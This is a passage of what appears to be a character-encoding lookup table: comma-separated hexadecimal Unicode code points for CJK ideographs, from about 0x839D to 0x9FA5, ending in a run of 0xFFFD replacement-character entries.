0x839D, 0x83A6, 0x83A7, 0x83A9, 0x83AC, 0x83BE, 0x83BF, 0x83C0, 0x83C7,
0x83C9, 0x83CF, 0x83D0, 0x83D1, 0x83D4, 0x83DD, 0x8353, 0x83E8, 0x83EA,
0x83F6, 0x83F8, 0x83F9, 0x83FC, 0x8401, 0x8406, 0x840A, 0x840F, 0x8411,
0x8415, 0x8419, 0x83AD, 0x842F, 0x8439, 0x8445, 0x8447, 0x8448, 0x844A,
0x844D, 0x844F, 0x8451, 0x8452, 0x8456, 0x8458, 0x8459, 0x845A, 0x845C,
0x8460, 0x8464, 0x8465, 0x8467, 0x846A, 0x8470, 0x8473, 0x8474, 0x8476,
0x8478, 0x847C, 0x847D, 0x8481, 0x8485, 0x8492, 0x8493, 0x8495, 0x849E,
0x84A6, 0x84A8, 0x84A9, 0x84AA, 0x84AF, 0x84B1, 0x84B4, 0x84BA, 0x84BD,
0x84BE, 0x84C0, 0x84C2, 0x84C7, 0x84C8, 0x84CC, 0x84CF, 0x84D3, 0x84DC,
0x84E7, 0x84EA, 0x84EF, 0x84F0, 0x84F1, 0x84F2, 0x84F7, 0x8532, 0x84FA,
0x84FB, 0x84FD, 0x8502, 0x8503, 0x8507, 0x850C, 0x850E, 0x8510, 0x851C,
0x851E, 0x8522, 0x8523, 0x8524, 0x8525, 0x8527, 0x852A, 0x852B, 0x852F,
0x8533, 0x8534, 0x8536, 0x853F, 0x8546, 0x854F, 0x8550, 0x8551, 0x8552,
0x8553, 0x8556, 0x8559, 0x855C, 0x855D, 0x855E, 0x855F, 0x8560, 0x8561,
0x8562, 0x8564, 0x856B, 0x856F, 0x8579, 0x857A, 0x857B, 0x857D, 0x857F,
0x8581, 0x8585, 0x8586, 0x8589, 0x858B, 0x858C, 0x858F, 0x8593, 0x8598,
0x859D, 0x859F, 0x85A0, 0x85A2, 0x85A5, 0x85A7, 0x85B4, 0x85B6, 0x85B7,
0x85B8, 0x85BC, 0x85BD, 0x85BE, 0x85BF, 0x85C2, 0x85C7, 0x85CA, 0x85CB,
0x85CE, 0x85AD, 0x85D8, 0x85DA, 0x85DF, 0x85E0, 0x85E6, 0x85E8, 0x85ED,
0x85F3, 0x85F6, 0x85FC, 0x85FF, 0x8600, 0x8604, 0x8605, 0x860D, 0x860E,
0x8610, 0x8611, 0x8612, 0x8618, 0x8619, 0x861B, 0x861E, 0x8621, 0x8627,
0x8629, 0x8636, 0x8638, 0x863A, 0x863C, 0x863D, 0x8640, 0x8642, 0x8646,
0x8652, 0x8653, 0x8656, 0x8657, 0x8658, 0x8659, 0x865D, 0x8660, 0x8661,
0x8662, 0x8663, 0x8664, 0x8669, 0x866C, 0x866F, 0x8675, 0x8676, 0x8677,
0x867A, 0x868D, 0x8691, 0x8696, 0x8698, 0x869A, 0x869C, 0x86A1, 0x86A6,
0x86A7, 0x86A8, 0x86AD, 0x86B1, 0x86B3, 0x86B4, 0x86B5, 0x86B7, 0x86B8,
0x86B9, 0x86BF, 0x86C0, 0x86C1, 0x86C3, 0x86C5, 0x86D1, 0x86D2, 0x86D5,
0x86D7, 0x86DA, 0x86DC, 0x86E0, 0x86E3, 0x86E5, 0x86E7, 0x8688, 0x86FA,
0x86FC, 0x86FD, 0x8704, 0x8705, 0x8707, 0x870B, 0x870E, 0x870F, 0x8710,
0x8713, 0x8714, 0x8719, 0x871E, 0x871F, 0x8721, 0x8723, 0x8728, 0x872E,
0x872F, 0x8731, 0x8732, 0x8739, 0x873A, 0x873C, 0x873D, 0x873E, 0x8740,
0x8743, 0x8745, 0x874D, 0x8758, 0x875D, 0x8761, 0x8764, 0x8765, 0x876F,
0x8771, 0x8772, 0x877B, 0x8783, 0x8784, 0x8785, 0x8786, 0x8787, 0x8788,
0x8789, 0x878B, 0x878C, 0x8790, 0x8793, 0x8795, 0x8797, 0x8798, 0x8799,
0x879E, 0x87A0, 0x87A3, 0x87A7, 0x87AC, 0x87AD, 0x87AE, 0x87B1, 0x87B5,
0x87BE, 0x87BF, 0x87C1, 0x87C8, 0x87C9, 0x87CA, 0x87CE, 0x87D5, 0x87D6,
0x87D9, 0x87DA, 0x87DC, 0x87DF, 0x87E2, 0x87E3, 0x87E4, 0x87EA, 0x87EB,
0x87ED, 0x87F1, 0x87F3, 0x87F8, 0x87FA, 0x87FF, 0x8801, 0x8803, 0x8806,
0x8809, 0x880A, 0x880B, 0x8810, 0x8819, 0x8812, 0x8813, 0x8814, 0x8818,
0x881A, 0x881B, 0x881C, 0x881E, 0x881F, 0x8828, 0x882D, 0x882E, 0x8830,
0x8832, 0x8835, 0x883A, 0x883C, 0x8841, 0x8843, 0x8845, 0x8848, 0x8849,
0x884A, 0x884B, 0x884E, 0x8851, 0x8855, 0x8856, 0x8858, 0x885A, 0x885C,
0x885F, 0x8860, 0x8864, 0x8869, 0x8871, 0x8879, 0x887B, 0x8880, 0x8898,
0x889A, 0x889B, 0x889C, 0x889F, 0x88A0, 0x88A8, 0x88AA, 0x88BA, 0x88BD,
0x88BE, 0x88C0, 0x88CA, 0x88CB, 0x88CC, 0x88CD, 0x88CE, 0x88D1, 0x88D2,
0x88D3, 0x88DB, 0x88DE, 0x88E7, 0x88EF, 0x88F0, 0x88F1, 0x88F5, 0x88F7,
0x8901, 0x8906, 0x890D, 0x890E, 0x890F, 0x8915, 0x8916, 0x8918, 0x8919,
0x891A, 0x891C, 0x8920, 0x8926, 0x8927, 0x8928, 0x8930, 0x8931, 0x8932,
0x8935, 0x8939, 0x893A, 0x893E, 0x8940, 0x8942, 0x8945, 0x8946, 0x8949,
0x894F, 0x8952, 0x8957, 0x895A, 0x895B, 0x895C, 0x8961, 0x8962, 0x8963,
0x896B, 0x896E, 0x8970, 0x8973, 0x8975, 0x897A, 0x897B, 0x897C, 0x897D,
0x8989, 0x898D, 0x8990, 0x8994, 0x8995, 0x899B, 0x899C, 0x899F, 0x89A0,
0x89A5, 0x89B0, 0x89B4, 0x89B5, 0x89B6, 0x89B7, 0x89BC, 0x89D4, 0x89D5,
0x89D6, 0x89D7, 0x89D8, 0x89E5, 0x89E9, 0x89EB, 0x89ED, 0x89F1, 0x89F3,
0x89F6, 0x89F9, 0x89FD, 0x89FF, 0x8A04, 0x8A05, 0x8A07, 0x8A0F, 0x8A11,
0x8A12, 0x8A14, 0x8A15, 0x8A1E, 0x8A20, 0x8A22, 0x8A24, 0x8A26, 0x8A2B,
0x8A2C, 0x8A2F, 0x8A35, 0x8A37, 0x8A3D, 0x8A3E, 0x8A40, 0x8A43, 0x8A45,
0x8A47, 0x8A49, 0x8A4D, 0x8A4E, 0x8A53, 0x8A56, 0x8A57, 0x8A58, 0x8A5C,
0x8A5D, 0x8A61, 0x8A65, 0x8A67, 0x8A75, 0x8A76, 0x8A77, 0x8A79, 0x8A7A,
0x8A7B, 0x8A7E, 0x8A7F, 0x8A80, 0x8A83, 0x8A86, 0x8A8B, 0x8A8F, 0x8A90,
0x8A92, 0x8A96, 0x8A97, 0x8A99, 0x8A9F, 0x8AA7, 0x8AA9, 0x8AAE, 0x8AAF,
0x8AB3, 0x8AB6, 0x8AB7, 0x8ABB, 0x8ABE, 0x8AC3, 0x8AC6, 0x8AC8, 0x8AC9,
0x8ACA, 0x8AD1, 0x8AD3, 0x8AD4, 0x8AD5, 0x8AD7, 0x8ADD, 0x8ADF, 0x8AEC,
0x8AF0, 0x8AF4, 0x8AF5, 0x8AF6, 0x8AFC, 0x8AFF, 0x8B05, 0x8B06, 0x8B0B,
0x8B11, 0x8B1C, 0x8B1E, 0x8B1F, 0x8B0A, 0x8B2D, 0x8B30, 0x8B37, 0x8B3C,
0x8B42, 0x8B43, 0x8B44, 0x8B45, 0x8B46, 0x8B48, 0x8B52, 0x8B53, 0x8B54,
0x8B59, 0x8B4D, 0x8B5E, 0x8B63, 0x8B6D, 0x8B76, 0x8B78, 0x8B79, 0x8B7C,
0x8B7E, 0x8B81, 0x8B84, 0x8B85, 0x8B8B, 0x8B8D, 0x8B8F, 0x8B94, 0x8B95,
0x8B9C, 0x8B9E, 0x8B9F, 0x8C38, 0x8C39, 0x8C3D, 0x8C3E, 0x8C45, 0x8C47,
0x8C49, 0x8C4B, 0x8C4F, 0x8C51, 0x8C53, 0x8C54, 0x8C57, 0x8C58, 0x8C5B,
0x8C5D, 0x8C59, 0x8C63, 0x8C64, 0x8C66, 0x8C68, 0x8C69, 0x8C6D, 0x8C73,
0x8C75, 0x8C76, 0x8C7B, 0x8C7E, 0x8C86, 0x8C87, 0x8C8B, 0x8C90, 0x8C92,
0x8C93, 0x8C99, 0x8C9B, 0x8C9C, 0x8CA4, 0x8CB9, 0x8CBA, 0x8CC5, 0x8CC6,
0x8CC9, 0x8CCB, 0x8CCF, 0x8CD6, 0x8CD5, 0x8CD9, 0x8CDD, 0x8CE1, 0x8CE8,
0x8CEC, 0x8CEF, 0x8CF0, 0x8CF2, 0x8CF5, 0x8CF7, 0x8CF8, 0x8CFE, 0x8CFF,
0x8D01, 0x8D03, 0x8D09, 0x8D12, 0x8D17, 0x8D1B, 0x8D65, 0x8D69, 0x8D6C,
0x8D6E, 0x8D7F, 0x8D82, 0x8D84, 0x8D88, 0x8D8D, 0x8D90, 0x8D91, 0x8D95,
0x8D9E, 0x8D9F, 0x8DA0, 0x8DA6, 0x8DAB, 0x8DAC, 0x8DAF, 0x8DB2, 0x8DB5,
0x8DB7, 0x8DB9, 0x8DBB, 0x8DC0, 0x8DC5, 0x8DC6, 0x8DC7, 0x8DC8, 0x8DCA,
0x8DCE, 0x8DD1, 0x8DD4, 0x8DD5, 0x8DD7, 0x8DD9, 0x8DE4, 0x8DE5, 0x8DE7,
0x8DEC, 0x8DF0, 0x8DBC, 0x8DF1, 0x8DF2, 0x8DF4, 0x8DFD, 0x8E01, 0x8E04,
0x8E05, 0x8E06, 0x8E0B, 0x8E11, 0x8E14, 0x8E16, 0x8E20, 0x8E21, 0x8E22,
0x8E23, 0x8E26, 0x8E27, 0x8E31, 0x8E33, 0x8E36, 0x8E37, 0x8E38, 0x8E39,
0x8E3D, 0x8E40, 0x8E41, 0x8E4B, 0x8E4D, 0x8E4E, 0x8E4F, 0x8E54, 0x8E5B,
0x8E5C, 0x8E5D, 0x8E5E, 0x8E61, 0x8E62, 0x8E69, 0x8E6C, 0x8E6D, 0x8E6F,
0x8E70, 0x8E71, 0x8E79, 0x8E7A, 0x8E7B, 0x8E82, 0x8E83, 0x8E89, 0x8E90,
0x8E92, 0x8E95, 0x8E9A, 0x8E9B, 0x8E9D, 0x8E9E, 0x8EA2, 0x8EA7, 0x8EA9,
0x8EAD, 0x8EAE, 0x8EB3, 0x8EB5, 0x8EBA, 0x8EBB, 0x8EC0, 0x8EC1, 0x8EC3,
0x8EC4, 0x8EC7, 0x8ECF, 0x8ED1, 0x8ED4, 0x8EDC, 0x8EE8, 0x8EEE, 0x8EF0,
0x8EF1, 0x8EF7, 0x8EF9, 0x8EFA, 0x8EED, 0x8F00, 0x8F02, 0x8F07, 0x8F08,
0x8F0F, 0x8F10, 0x8F16, 0x8F17, 0x8F18, 0x8F1E, 0x8F20, 0x8F21, 0x8F23,
0x8F25, 0x8F27, 0x8F28, 0x8F2C, 0x8F2D, 0x8F2E, 0x8F34, 0x8F35, 0x8F36,
0x8F37, 0x8F3A, 0x8F40, 0x8F41, 0x8F43, 0x8F47, 0x8F4F, 0x8F51, 0x8F52,
0x8F53, 0x8F54, 0x8F55, 0x8F58, 0x8F5D, 0x8F5E, 0x8F65, 0x8F9D, 0x8FA0,
0x8FA1, 0x8FA4, 0x8FA5, 0x8FA6, 0x8FB5, 0x8FB6, 0x8FB8, 0x8FBE, 0x8FC0,
0x8FC1, 0x8FC6, 0x8FCA, 0x8FCB, 0x8FCD, 0x8FD0, 0x8FD2, 0x8FD3, 0x8FD5,
0x8FE0, 0x8FE3, 0x8FE4, 0x8FE8, 0x8FEE, 0x8FF1, 0x8FF5, 0x8FF6, 0x8FFB,
0x8FFE, 0x9002, 0x9004, 0x9008, 0x900C, 0x9018, 0x901B, 0x9028, 0x9029,
0x902F, 0x902A, 0x902C, 0x902D, 0x9033, 0x9034, 0x9037, 0x903F, 0x9043,
0x9044, 0x904C, 0x905B, 0x905D, 0x9062, 0x9066, 0x9067, 0x906C, 0x9070,
0x9074, 0x9079, 0x9085, 0x9088, 0x908B, 0x908C, 0x908E, 0x9090, 0x9095,
0x9097, 0x9098, 0x9099, 0x909B, 0x90A0, 0x90A1, 0x90A2, 0x90A5, 0x90B0,
0x90B2, 0x90B3, 0x90B4, 0x90B6, 0x90BD, 0x90CC, 0x90BE, 0x90C3, 0x90C4,
0x90C5, 0x90C7, 0x90C8, 0x90D5, 0x90D7, 0x90D8, 0x90D9, 0x90DC, 0x90DD,
0x90DF, 0x90E5, 0x90D2, 0x90F6, 0x90EB, 0x90EF, 0x90F0, 0x90F4, 0x90FE,
0x90FF, 0x9100, 0x9104, 0x9105, 0x9106, 0x9108, 0x910D, 0x9110, 0x9114,
0x9116, 0x9117, 0x9118, 0x911A, 0x911C, 0x911E, 0x9120, 0x9125, 0x9122,
0x9123, 0x9127, 0x9129, 0x912E, 0x912F, 0x9131, 0x9134, 0x9136, 0x9137,
0x9139, 0x913A, 0x913C, 0x913D, 0x9143, 0x9147, 0x9148, 0x914F, 0x9153,
0x9157, 0x9159, 0x915A, 0x915B, 0x9161, 0x9164, 0x9167, 0x916D, 0x9174,
0x9179, 0x917A, 0x917B, 0x9181, 0x9183, 0x9185, 0x9186, 0x918A, 0x918E,
0x9191, 0x9193, 0x9194, 0x9195, 0x9198, 0x919E, 0x91A1, 0x91A6, 0x91A8,
0x91AC, 0x91AD, 0x91AE, 0x91B0, 0x91B1, 0x91B2, 0x91B3, 0x91B6, 0x91BB,
0x91BC, 0x91BD, 0x91BF, 0x91C2, 0x91C3, 0x91C5, 0x91D3, 0x91D4, 0x91D7,
0x91D9, 0x91DA, 0x91DE, 0x91E4, 0x91E5, 0x91E9, 0x91EA, 0x91EC, 0x91ED,
0x91EE, 0x91EF, 0x91F0, 0x91F1, 0x91F7, 0x91F9, 0x91FB, 0x91FD, 0x9200,
0x9201, 0x9204, 0x9205, 0x9206, 0x9207, 0x9209, 0x920A, 0x920C, 0x9210,
0x9212, 0x9213, 0x9216, 0x9218, 0x921C, 0x921D, 0x9223, 0x9224, 0x9225,
0x9226, 0x9228, 0x922E, 0x922F, 0x9230, 0x9233, 0x9235, 0x9236, 0x9238,
0x9239, 0x923A, 0x923C, 0x923E, 0x9240, 0x9242, 0x9243, 0x9246, 0x9247,
0x924A, 0x924D, 0x924E, 0x924F, 0x9251, 0x9258, 0x9259, 0x925C, 0x925D,
0x9260, 0x9261, 0x9265, 0x9267, 0x9268, 0x9269, 0x926E, 0x926F, 0x9270,
0x9275, 0x9276, 0x9277, 0x9278, 0x9279, 0x927B, 0x927C, 0x927D, 0x927F,
0x9288, 0x9289, 0x928A, 0x928D, 0x928E, 0x9292, 0x9297, 0x9299, 0x929F,
0x92A0, 0x92A4, 0x92A5, 0x92A7, 0x92A8, 0x92AB, 0x92AF, 0x92B2, 0x92B6,
0x92B8, 0x92BA, 0x92BB, 0x92BC, 0x92BD, 0x92BF, 0x92C0, 0x92C1, 0x92C2,
0x92C3, 0x92C5, 0x92C6, 0x92C7, 0x92C8, 0x92CB, 0x92CC, 0x92CD, 0x92CE,
0x92D0, 0x92D3, 0x92D5, 0x92D7, 0x92D8, 0x92D9, 0x92DC, 0x92DD, 0x92DF,
0x92E0, 0x92E1, 0x92E3, 0x92E5, 0x92E7, 0x92E8, 0x92EC, 0x92EE, 0x92F0,
0x92F9, 0x92FB, 0x92FF, 0x9300, 0x9302, 0x9308, 0x930D, 0x9311, 0x9314,
0x9315, 0x931C, 0x931D, 0x931E, 0x931F, 0x9321, 0x9324, 0x9325, 0x9327,
0x9329, 0x932A, 0x9333, 0x9334, 0x9336, 0x9337, 0x9347, 0x9348, 0x9349,
0x9350, 0x9351, 0x9352, 0x9355, 0x9357, 0x9358, 0x935A, 0x935E, 0x9364,
0x9365, 0x9367, 0x9369, 0x936A, 0x936D, 0x936F, 0x9370, 0x9371, 0x9373,
0x9374, 0x9376, 0x937A, 0x937D, 0x937F, 0x9380, 0x9381, 0x9382, 0x9388,
0x938A, 0x938B, 0x938D, 0x938F, 0x9392, 0x9395, 0x9398, 0x939B, 0x939E,
0x93A1, 0x93A3, 0x93A4, 0x93A6, 0x93A8, 0x93AB, 0x93B4, 0x93B5, 0x93B6,
0x93BA, 0x93A9, 0x93C1, 0x93C4, 0x93C5, 0x93C6, 0x93C7, 0x93C9, 0x93CA,
0x93CB, 0x93CC, 0x93CD, 0x93D3, 0x93D9, 0x93DC, 0x93DE, 0x93DF, 0x93E2,
0x93E6, 0x93E7, 0x93F9, 0x93F7, 0x93F8, 0x93FA, 0x93FB, 0x93FD, 0x9401,
0x9402, 0x9404, 0x9408, 0x9409, 0x940D, 0x940E, 0x940F, 0x9415, 0x9416,
0x9417, 0x941F, 0x942E, 0x942F, 0x9431, 0x9432, 0x9433, 0x9434, 0x943B,
0x943F, 0x943D, 0x9443, 0x9445, 0x9448, 0x944A, 0x944C, 0x9455, 0x9459,
0x945C, 0x945F, 0x9461, 0x9463, 0x9468, 0x946B, 0x946D, 0x946E, 0x946F,
0x9471, 0x9472, 0x9484, 0x9483, 0x9578, 0x9579, 0x957E, 0x9584, 0x9588,
0x958C, 0x958D, 0x958E, 0x959D, 0x959E, 0x959F, 0x95A1, 0x95A6, 0x95A9,
0x95AB, 0x95AC, 0x95B4, 0x95B6, 0x95BA, 0x95BD, 0x95BF, 0x95C6, 0x95C8,
0x95C9, 0x95CB, 0x95D0, 0x95D1, 0x95D2, 0x95D3, 0x95D9, 0x95DA, 0x95DD,
0x95DE, 0x95DF, 0x95E0, 0x95E4, 0x95E6, 0x961D, 0x961E, 0x9622, 0x9624,
0x9625, 0x9626, 0x962C, 0x9631, 0x9633, 0x9637, 0x9638, 0x9639, 0x963A,
0x963C, 0x963D, 0x9641, 0x9652, 0x9654, 0x9656, 0x9657, 0x9658, 0x9661,
0x966E, 0x9674, 0x967B, 0x967C, 0x967E, 0x967F, 0x9681, 0x9682, 0x9683,
0x9684, 0x9689, 0x9691, 0x9696, 0x969A, 0x969D, 0x969F, 0x96A4, 0x96A5,
0x96A6, 0x96A9, 0x96AE, 0x96AF, 0x96B3, 0x96BA, 0x96CA, 0x96D2, 0x5DB2,
0x96D8, 0x96DA, 0x96DD, 0x96DE, 0x96DF, 0x96E9, 0x96EF, 0x96F1, 0x96FA,
0x9702, 0x9703, 0x9705, 0x9709, 0x971A, 0x971B, 0x971D, 0x9721, 0x9722,
0x9723, 0x9728, 0x9731, 0x9733, 0x9741, 0x9743, 0x974A, 0x974E, 0x974F,
0x9755, 0x9757, 0x9758, 0x975A, 0x975B, 0x9763, 0x9767, 0x976A, 0x976E,
0x9773, 0x9776, 0x9777, 0x9778, 0x977B, 0x977D, 0x977F, 0x9780, 0x9789,
0x9795, 0x9796, 0x9797, 0x9799, 0x979A, 0x979E, 0x979F, 0x97A2, 0x97AC,
0x97AE, 0x97B1, 0x97B2, 0x97B5, 0x97B6, 0x97B8, 0x97B9, 0x97BA, 0x97BC,
0x97BE, 0x97BF, 0x97C1, 0x97C4, 0x97C5, 0x97C7, 0x97C9, 0x97CA, 0x97CC,
0x97CD, 0x97CE, 0x97D0, 0x97D1, 0x97D4, 0x97D7, 0x97D8, 0x97D9, 0x97DD,
0x97DE, 0x97E0, 0x97DB, 0x97E1, 0x97E4, 0x97EF, 0x97F1, 0x97F4, 0x97F7,
0x97F8, 0x97FA, 0x9807, 0x980A, 0x9819, 0x980D, 0x980E, 0x9814, 0x9816,
0x981C, 0x981E, 0x9820, 0x9823, 0x9826, 0x982B, 0x982E, 0x982F, 0x9830,
0x9832, 0x9833, 0x9835, 0x9825, 0x983E, 0x9844, 0x9847, 0x984A, 0x9851,
0x9852, 0x9853, 0x9856, 0x9857, 0x9859, 0x985A, 0x9862, 0x9863, 0x9865,
0x9866, 0x986A, 0x986C, 0x98AB, 0x98AD, 0x98AE, 0x98B0, 0x98B4, 0x98B7,
0x98B8, 0x98BA, 0x98BB, 0x98BF, 0x98C2, 0x98C5, 0x98C8, 0x98CC, 0x98E1,
0x98E3, 0x98E5, 0x98E6, 0x98E7, 0x98EA, 0x98F3, 0x98F6, 0x9902, 0x9907,
0x9908, 0x9911, 0x9915, 0x9916, 0x9917, 0x991A, 0x991B, 0x991C, 0x991F,
0x9922, 0x9926, 0x9927, 0x992B, 0x9931, 0x9932, 0x9933, 0x9934, 0x9935,
0x9939, 0x993A, 0x993B, 0x993C, 0x9940, 0x9941, 0x9946, 0x9947, 0x9948,
0x994D, 0x994E, 0x9954, 0x9958, 0x9959, 0x995B, 0x995C, 0x995E, 0x995F,
0x9960, 0x999B, 0x999D, 0x999F, 0x99A6, 0x99B0, 0x99B1, 0x99B2, 0x99B5,
0x99B9, 0x99BA, 0x99BD, 0x99BF, 0x99C3, 0x99C9, 0x99D3, 0x99D4, 0x99D9,
0x99DA, 0x99DC, 0x99DE, 0x99E7, 0x99EA, 0x99EB, 0x99EC, 0x99F0, 0x99F4,
0x99F5, 0x99F9, 0x99FD, 0x99FE, 0x9A02, 0x9A03, 0x9A04, 0x9A0B, 0x9A0C,
0x9A10, 0x9A11, 0x9A16, 0x9A1E, 0x9A20, 0x9A22, 0x9A23, 0x9A24, 0x9A27,
0x9A2D, 0x9A2E, 0x9A33, 0x9A35, 0x9A36, 0x9A38, 0x9A47, 0x9A41, 0x9A44,
0x9A4A, 0x9A4B, 0x9A4C, 0x9A4E, 0x9A51, 0x9A54, 0x9A56, 0x9A5D, 0x9AAA,
0x9AAC, 0x9AAE, 0x9AAF, 0x9AB2, 0x9AB4, 0x9AB5, 0x9AB6, 0x9AB9, 0x9ABB,
0x9ABE, 0x9ABF, 0x9AC1, 0x9AC3, 0x9AC6, 0x9AC8, 0x9ACE, 0x9AD0, 0x9AD2,
0x9AD5, 0x9AD6, 0x9AD7, 0x9ADB, 0x9ADC, 0x9AE0, 0x9AE4, 0x9AE5, 0x9AE7,
0x9AE9, 0x9AEC, 0x9AF2, 0x9AF3, 0x9AF5, 0x9AF9, 0x9AFA, 0x9AFD, 0x9AFF,
0x9B00, 0x9B01, 0x9B02, 0x9B03, 0x9B04, 0x9B05, 0x9B08, 0x9B09, 0x9B0B,
0x9B0C, 0x9B0D, 0x9B0E, 0x9B10, 0x9B12, 0x9B16, 0x9B19, 0x9B1B, 0x9B1C,
0x9B20, 0x9B26, 0x9B2B, 0x9B2D, 0x9B33, 0x9B34, 0x9B35, 0x9B37, 0x9B39,
0x9B3A, 0x9B3D, 0x9B48, 0x9B4B, 0x9B4C, 0x9B55, 0x9B56, 0x9B57, 0x9B5B,
0x9B5E, 0x9B61, 0x9B63, 0x9B65, 0x9B66, 0x9B68, 0x9B6A, 0x9B6B, 0x9B6C,
0x9B6D, 0x9B6E, 0x9B73, 0x9B75, 0x9B77, 0x9B78, 0x9B79, 0x9B7F, 0x9B80,
0x9B84, 0x9B85, 0x9B86, 0x9B87, 0x9B89, 0x9B8A, 0x9B8B, 0x9B8D, 0x9B8F,
0x9B90, 0x9B94, 0x9B9A, 0x9B9D, 0x9B9E, 0x9BA6, 0x9BA7, 0x9BA9, 0x9BAC,
0x9BB0, 0x9BB1, 0x9BB2, 0x9BB7, 0x9BB8, 0x9BBB, 0x9BBC, 0x9BBE, 0x9BBF,
0x9BC1, 0x9BC7, 0x9BC8, 0x9BCE, 0x9BD0, 0x9BD7, 0x9BD8, 0x9BDD, 0x9BDF,
0x9BE5, 0x9BE7, 0x9BEA, 0x9BEB, 0x9BEF, 0x9BF3, 0x9BF7, 0x9BF8, 0x9BF9,
0x9BFA, 0x9BFD, 0x9BFF, 0x9C00, 0x9C02, 0x9C0B, 0x9C0F, 0x9C11, 0x9C16,
0x9C18, 0x9C19, 0x9C1A, 0x9C1C, 0x9C1E, 0x9C22, 0x9C23, 0x9C26, 0x9C27,
0x9C28, 0x9C29, 0x9C2A, 0x9C31, 0x9C35, 0x9C36, 0x9C37, 0x9C3D, 0x9C41,
0x9C43, 0x9C44, 0x9C45, 0x9C49, 0x9C4A, 0x9C4E, 0x9C4F, 0x9C50, 0x9C53,
0x9C54, 0x9C56, 0x9C58, 0x9C5B, 0x9C5D, 0x9C5E, 0x9C5F, 0x9C63, 0x9C69,
0x9C6A, 0x9C5C, 0x9C6B, 0x9C68, 0x9C6E, 0x9C70, 0x9C72, 0x9C75, 0x9C77,
0x9C7B, 0x9CE6, 0x9CF2, 0x9CF7, 0x9CF9, 0x9D0B, 0x9D02, 0x9D11, 0x9D17,
0x9D18, 0x9D1C, 0x9D1D, 0x9D1E, 0x9D2F, 0x9D30, 0x9D32, 0x9D33, 0x9D34,
0x9D3A, 0x9D3C, 0x9D45, 0x9D3D, 0x9D42, 0x9D43, 0x9D47, 0x9D4A, 0x9D53,
0x9D54, 0x9D5F, 0x9D63, 0x9D62, 0x9D65, 0x9D69, 0x9D6A, 0x9D6B, 0x9D70,
0x9D76, 0x9D77, 0x9D7B, 0x9D7C, 0x9D7E, 0x9D83, 0x9D84, 0x9D86, 0x9D8A,
0x9D8D, 0x9D8E, 0x9D92, 0x9D93, 0x9D95, 0x9D96, 0x9D97, 0x9D98, 0x9DA1,
0x9DAA, 0x9DAC, 0x9DAE, 0x9DB1, 0x9DB5, 0x9DB9, 0x9DBC, 0x9DBF, 0x9DC3,
0x9DC7, 0x9DC9, 0x9DCA, 0x9DD4, 0x9DD5, 0x9DD6, 0x9DD7, 0x9DDA, 0x9DDE,
0x9DDF, 0x9DE0, 0x9DE5, 0x9DE7, 0x9DE9, 0x9DEB, 0x9DEE, 0x9DF0, 0x9DF3,
0x9DF4, 0x9DFE, 0x9E0A, 0x9E02, 0x9E07, 0x9E0E, 0x9E10, 0x9E11, 0x9E12,
0x9E15, 0x9E16, 0x9E19, 0x9E1C, 0x9E1D, 0x9E7A, 0x9E7B, 0x9E7C, 0x9E80,
0x9E82, 0x9E83, 0x9E84, 0x9E85, 0x9E87, 0x9E8E, 0x9E8F, 0x9E96, 0x9E98,
0x9E9B, 0x9E9E, 0x9EA4, 0x9EA8, 0x9EAC, 0x9EAE, 0x9EAF, 0x9EB0, 0x9EB3,
0x9EB4, 0x9EB5, 0x9EC6, 0x9EC8, 0x9ECB, 0x9ED5, 0x9EDF, 0x9EE4, 0x9EE7,
0x9EEC, 0x9EED, 0x9EEE, 0x9EF0, 0x9EF1, 0x9EF2, 0x9EF5, 0x9EF8, 0x9EFF,
0x9F02, 0x9F03, 0x9F09, 0x9F0F, 0x9F10, 0x9F11, 0x9F12, 0x9F14, 0x9F16,
0x9F17, 0x9F19, 0x9F1A, 0x9F1B, 0x9F1F, 0x9F22, 0x9F26, 0x9F2A, 0x9F2B,
0x9F2F, 0x9F31, 0x9F32, 0x9F34, 0x9F37, 0x9F39, 0x9F3A, 0x9F3C, 0x9F3D,
0x9F3F, 0x9F41, 0x9F43, 0x9F44, 0x9F45, 0x9F46, 0x9F47, 0x9F53, 0x9F55,
0x9F56, 0x9F57, 0x9F58, 0x9F5A, 0x9F5D, 0x9F5E, 0x9F68, 0x9F69, 0x9F6D,
0x9F6E, 0x9F6F, 0x9F70, 0x9F71, 0x9F73, 0x9F75, 0x9F7A, 0x9F7D, 0x9F8F,
0x9F90, 0x9F91, 0x9F92, 0x9F94, 0x9F96, 0x9F97, 0x9F9E, 0x9FA1, 0x9FA2,
0x9FA3, 0x9FA5, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
